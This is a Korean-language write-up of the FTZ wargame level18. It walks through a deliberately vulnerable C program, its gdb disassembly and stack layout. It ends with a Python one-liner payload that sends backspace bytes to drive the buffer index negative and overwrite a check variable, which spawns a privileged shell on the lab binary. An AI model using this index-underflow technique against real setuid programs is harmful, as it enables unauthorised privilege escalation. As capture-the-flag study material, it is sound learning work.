[FTZ] level18
level18로 로그인해서 문제를 확인해 보았다.
전에 비해서는 엄청나게 길어진 코드이다....
코드는 아래와 같다.
#include <stdio.h>
#include <sys/time.h>
#include <sys/types.h>
#include <unistd.h>
void shellout(void);
int main()
{
char string[100];
int check;
int x = 0;
int count = 0;
fd_set fds;
printf("Enter your command: ");
fflush(stdout); //출력 버퍼 안에 존재하는 데이터를 즉시 출력함.
while(1)
{
if(count >= 100)
printf("what are you trying to do?\n");
if(check == 0xdeadbeef)
shellout();
else
{
FD_ZERO(&fds); // fds를 초기화 함
FD_SET(STDIN_FILENO,&fds); // fds의 STDIN_FILENO번째 비트가 1로 변경
if(select(FD_SETSIZE, &fds, NULL, NULL, NULL) >= 1)
//I/O를 할 수 있는 상태인지 확인
//fds에 FD_SETSIZE이벤트가 발생했는지 확인
{
if(FD_ISSET(fileno(stdin),&fds))
//fileno()함수는 현재 연관된 파일핸들을 판별
//stdin은 0, stdout은 1, stderr는 2를 리턴
//fds에서 0번(입력) 이벤트가 발생했다는 것을 판별
{
read(fileno(stdin),&x,1);
// read(int fd, void *buf, size_t nbytes)
// fd : 파일디스크립터, buf : 파일을 읽어 들일 버퍼, nbytes : 버퍼크기
// fileno(stdin) > 표준입력발생
// x가 입력을 받을 버퍼이고 그 버퍼는 1byte이다
switch(x)
{
case '\r':
case '\n':
printf("\a");
break;
case 0x08:
count--;
printf("\b \b");
break;
default:
string[count] = x;
count++;
break;
}
}
}
}
}
}
void shellout(void)
{
setreuid(3099,3099);
execl("/bin/sh","sh",NULL);
}
참고 : https://hahaite.tistory.com/290
최종 목표는 shellout()함수가 실행되어 쉘을 획득하는 것인데, shellout()함수가 나오기 위해서 check 변수가 0xdeadbeef가 돼야 한다.
그리고 위 코드에서 입력을 받는 부분이 read(fileno(stdin), &x, 1); 여기밖에 없다. 이부분을 조작해야 할 거 같다.
이 함수는 입력값을 x에 저장하는 크기는 1bytes이고, 1bytes x에 대해 입력 값이 switch문에 의해 처리가 되고 while문을 계속 돈다.
switch 문을 보면,
x가 \r, \n일때 → "\a"가 출력,
x가 0x08일때 → count값이 1개줄고 "\b \b"가 출력,
기본적으로는 string[count]에 x를 저장하고 count 변수를 증가시킴.
여기까지 확인하고 gdb로 분석을 해본다.
코드가 길어서 복사를 했다.
Dump of assembler code for function main:
0x08048550 <main+0>: push ebp
0x08048551 <main+1>: mov ebp,esp
0x08048553 <main+3>: sub esp,0x100
0x08048559 <main+9>: push edi
0x0804855a <main+10>: push esi
0x0804855b <main+11>: push ebx
0x0804855c <main+12>: mov DWORD PTR [ebp-108],0x0
0x08048563 <main+19>: mov DWORD PTR [ebp-112],0x0
0x0804856a <main+26>: push 0x8048800
0x0804856f <main+31>: call 0x8048470 <printf>
0x08048574 <main+36>: add esp,0x4
0x08048577 <main+39>: mov eax,ds:0x804993c
0x0804857c <main+44>: mov DWORD PTR [ebp-252],eax
0x08048582 <main+50>: mov ecx,DWORD PTR [ebp-252]
0x08048588 <main+56>: push ecx
0x08048589 <main+57>: call 0x8048430 <fflush>
0x0804858e <main+62>: add esp,0x4
0x08048591 <main+65>: jmp 0x8048598 <main+72>
0x08048593 <main+67>: jmp 0x8048775 <main+549>
0x08048598 <main+72>: cmp DWORD PTR [ebp-112],0x63
0x0804859c <main+76>: jle 0x80485ab <main+91>
0x0804859e <main+78>: push 0x8048815
0x080485a3 <main+83>: call 0x8048470 <printf>
0x080485a8 <main+88>: add esp,0x4
0x080485ab <main+91>: cmp DWORD PTR [ebp-104],0xdeadbeef
0x080485b2 <main+98>: jne 0x80485c0 <main+112>
0x080485b4 <main+100>: call 0x8048780 <shellout>
0x080485b9 <main+105>: jmp 0x8048770 <main+544>
0x080485be <main+110>: mov esi,esi
0x080485c0 <main+112>: lea edi,[ebp-240]
0x080485c6 <main+118>: mov DWORD PTR [ebp-252],edi
0x080485cc <main+124>: mov ecx,0x20
0x080485d1 <main+129>: mov edi,DWORD PTR [ebp-252]
0x080485d7 <main+135>: xor eax,eax
0x080485d9 <main+137>: cld
0x080485da <main+138>: repz stos es:[edi],eax
0x080485dc <main+140>: mov DWORD PTR [ebp-244],ecx
0x080485e2 <main+146>: mov DWORD PTR [ebp-248],edi
0x080485e8 <main+152>: jmp 0x80485f2 <main+162>
0x080485ea <main+154>: lea esi,[esi]
0x080485f0 <main+160>: jmp 0x80485c0 <main+112>
0x080485f2 <main+162>: xor eax,eax
0x080485f4 <main+164>: bts DWORD PTR [ebp-240],eax
0x080485fb <main+171>: push 0x0
0x080485fd <main+173>: push 0x0
0x080485ff <main+175>: push 0x0
0x08048601 <main+177>: lea ecx,[ebp-240]
0x08048607 <main+183>: mov DWORD PTR [ebp-252],ecx
0x0804860d <main+189>: mov edi,DWORD PTR [ebp-252]
0x08048613 <main+195>: push edi
0x08048614 <main+196>: push 0x400
0x08048619 <main+201>: call 0x8048440 <select>
0x0804861e <main+206>: add esp,0x14
0x08048621 <main+209>: mov DWORD PTR [ebp-252],eax
0x08048627 <main+215>: cmp DWORD PTR [ebp-252],0x0
0x0804862e <main+222>: jle 0x8048770 <main+544>
0x08048634 <main+228>: mov eax,ds:0x8049940
0x08048639 <main+233>: mov DWORD PTR [ebp-252],eax
0x0804863f <main+239>: mov ecx,DWORD PTR [ebp-252]
0x08048645 <main+245>: push ecx
0x08048646 <main+246>: call 0x8048420 <fileno>
0x0804864b <main+251>: add esp,0x4
0x0804864e <main+254>: mov DWORD PTR [ebp-252],eax
0x08048654 <main+260>: mov esi,DWORD PTR [ebp-252]
0x0804865a <main+266>: and esi,0x1f
0x0804865d <main+269>: mov edi,ds:0x8049940
0x08048663 <main+275>: mov DWORD PTR [ebp-252],edi
0x08048669 <main+281>: mov eax,DWORD PTR [ebp-252]
0x0804866f <main+287>: push eax
0x08048670 <main+288>: call 0x8048420 <fileno>
0x08048675 <main+293>: add esp,0x4
0x08048678 <main+296>: mov DWORD PTR [ebp-252],eax
0x0804867e <main+302>: mov edx,DWORD PTR [ebp-252]
0x08048684 <main+308>: shr edx,0x5
0x08048687 <main+311>: lea ecx,[edx*4]
0x0804868e <main+318>: mov DWORD PTR [ebp-252],ecx
0x08048694 <main+324>: lea edx,[ebp-240]
0x0804869a <main+330>: mov edi,DWORD PTR [ebp-252]
0x080486a0 <main+336>: bt DWORD PTR [edi+edx],esi
0x080486a4 <main+340>: setb bl
0x080486a7 <main+343>: test bl,bl
0x080486a9 <main+345>: je 0x8048770 <main+544>
0x080486af <main+351>: push 0x1
0x080486b1 <main+353>: lea eax,[ebp-108]
0x080486b4 <main+356>: mov DWORD PTR [ebp-252],eax
0x080486ba <main+362>: mov ecx,DWORD PTR [ebp-252]
0x080486c0 <main+368>: push ecx
0x080486c1 <main+369>: mov edi,ds:0x8049940
0x080486c7 <main+375>: mov DWORD PTR [ebp-252],edi
0x080486cd <main+381>: mov eax,DWORD PTR [ebp-252]
0x080486d3 <main+387>: push eax
0x080486d4 <main+388>: call 0x8048420 <fileno>
0x080486d9 <main+393>: add esp,0x4
0x080486dc <main+396>: mov DWORD PTR [ebp-252],eax
0x080486e2 <main+402>: mov ecx,DWORD PTR [ebp-252]
0x080486e8 <main+408>: push ecx
0x080486e9 <main+409>: call 0x8048490 <read>
0x080486ee <main+414>: add esp,0xc
0x080486f1 <main+417>: mov edi,DWORD PTR [ebp-108]
0x080486f4 <main+420>: mov DWORD PTR [ebp-252],edi
0x080486fa <main+426>: cmp DWORD PTR [ebp-252],0xa
0x08048701 <main+433>: je 0x8048722 <main+466>
0x08048703 <main+435>: cmp DWORD PTR [ebp-252],0xa
0x0804870a <main+442>: jg 0x8048717 <main+455>
0x0804870c <main+444>: cmp DWORD PTR [ebp-252],0x8
0x08048713 <main+451>: je 0x8048731 <main+481>
0x08048715 <main+453>: jmp 0x8048743 <main+499>
0x08048717 <main+455>: cmp DWORD PTR [ebp-252],0xd
0x0804871e <main+462>: je 0x8048722 <main+466>
0x08048720 <main+464>: jmp 0x8048743 <main+499>
0x08048722 <main+466>: push 0x8048831
0x08048727 <main+471>: call 0x8048470 <printf>
0x0804872c <main+476>: add esp,0x4
0x0804872f <main+479>: jmp 0x8048770 <main+544>
0x08048731 <main+481>: dec DWORD PTR [ebp-112]
0x08048734 <main+484>: push 0x8048833
0x08048739 <main+489>: call 0x8048470 <printf>
0x0804873e <main+494>: add esp,0x4
0x08048741 <main+497>: jmp 0x8048770 <main+544>
0x08048743 <main+499>: lea eax,[ebp-100]
0x08048746 <main+502>: mov DWORD PTR [ebp-252],eax
0x0804874c <main+508>: mov edx,DWORD PTR [ebp-112]
0x0804874f <main+511>: mov cl,BYTE PTR [ebp-108]
0x08048752 <main+514>: mov BYTE PTR [ebp-253],cl
0x08048758 <main+520>: mov al,BYTE PTR [ebp-253]
0x0804875e <main+526>: mov ecx,DWORD PTR [ebp-252]
0x08048764 <main+532>: mov BYTE PTR [edx+ecx],al
0x08048767 <main+535>: inc DWORD PTR [ebp-112]
0x0804876a <main+538>: jmp 0x8048770 <main+544>
0x0804876c <main+540>: lea esi,[esi*1]
0x08048770 <main+544>: jmp 0x8048591 <main+65>
0x08048775 <main+549>: lea esp,[ebp-268]
0x0804877b <main+555>: pop ebx
0x0804877c <main+556>: pop esi
0x0804877d <main+557>: pop edi
0x0804877e <main+558>: leave
0x0804877f <main+559>: ret
End of assembler dump.
함수를 시작할 때 보면, 변수를 위해 0x100(256 bytes) 할당이 되고,
cmp DWORD PTR [ebp-112], 0x63(99)가 if(count >= 100) 이니까, count 변수의 위치가 ebp-112인 것을 알 수 있다.
cmp DWORD PTR [ebp-104], 0xdeadbeef가 if(check == 0 xdeadbeef)이니까, check 변수의 위치가 ebp-104인 것을 알 수 있다.
switch(x)
{
case '\r':
case '\n':
printf("\a");
break;
case 0x08:
count--;
printf("\b \b");
break;
default:
string[count] = x;
count++;
break;
}
switch 문이 있는 부분은 cmp가 많이 나오는 것을 통해서 확인할 수 있다.
switch문 구문을 비교하기 위해서 x변수를 이용하는데
해당 변수의 위치를 확인하면 [ebp-252]이다.
이 위치를 다시 확인하면
mov edi, DWORD PTR [ebp-108]
mov DWORD PTR [ebp-252], edi
를 통해서 [ebp-108]에 [ebp-252]가 들어간 걸 확일 할 수 있다.
이 변수들의 stack에서 위치를 정리하면 다음과 같다.
shellout() 함수를 실행하기 위해서는 check부분을 조작해하는데
입력을 받는 x는 read(fileno(stdin), &x, 1); 함수에서 1bytes밖에 안되고, 입력받은 값들은 string 버퍼에 저장이 된다.
string은 check보다 먼저 할당되었기 때문에, bof로 check변수 조작이 불가능한 것처럼 보인다.
하지만, 코드 상에서 x의 값이 0x08이면 count--를 할 수 있기 때문에, check를 0xdeadbeef로 바꿀 수 있다.
초기 count=0
string[count] = x 에서 count를 -1씩 하여 string[-1], string[-2], string[-3], string[-4]로 check변수 조작가능해 진다.
stack 구조를 보면 dummy값은 없고,
x값으로 0x08을 4번 주어서, 네 번 count를 -1을 한 다음으로 0xdeadbeef 값을 주면 된다.
페이로드를 작성하면 아래와 같다.
(python -c 'print "\x08"*4+"\xef\xbe\xad\xde"';cat) | ./attackme
성공!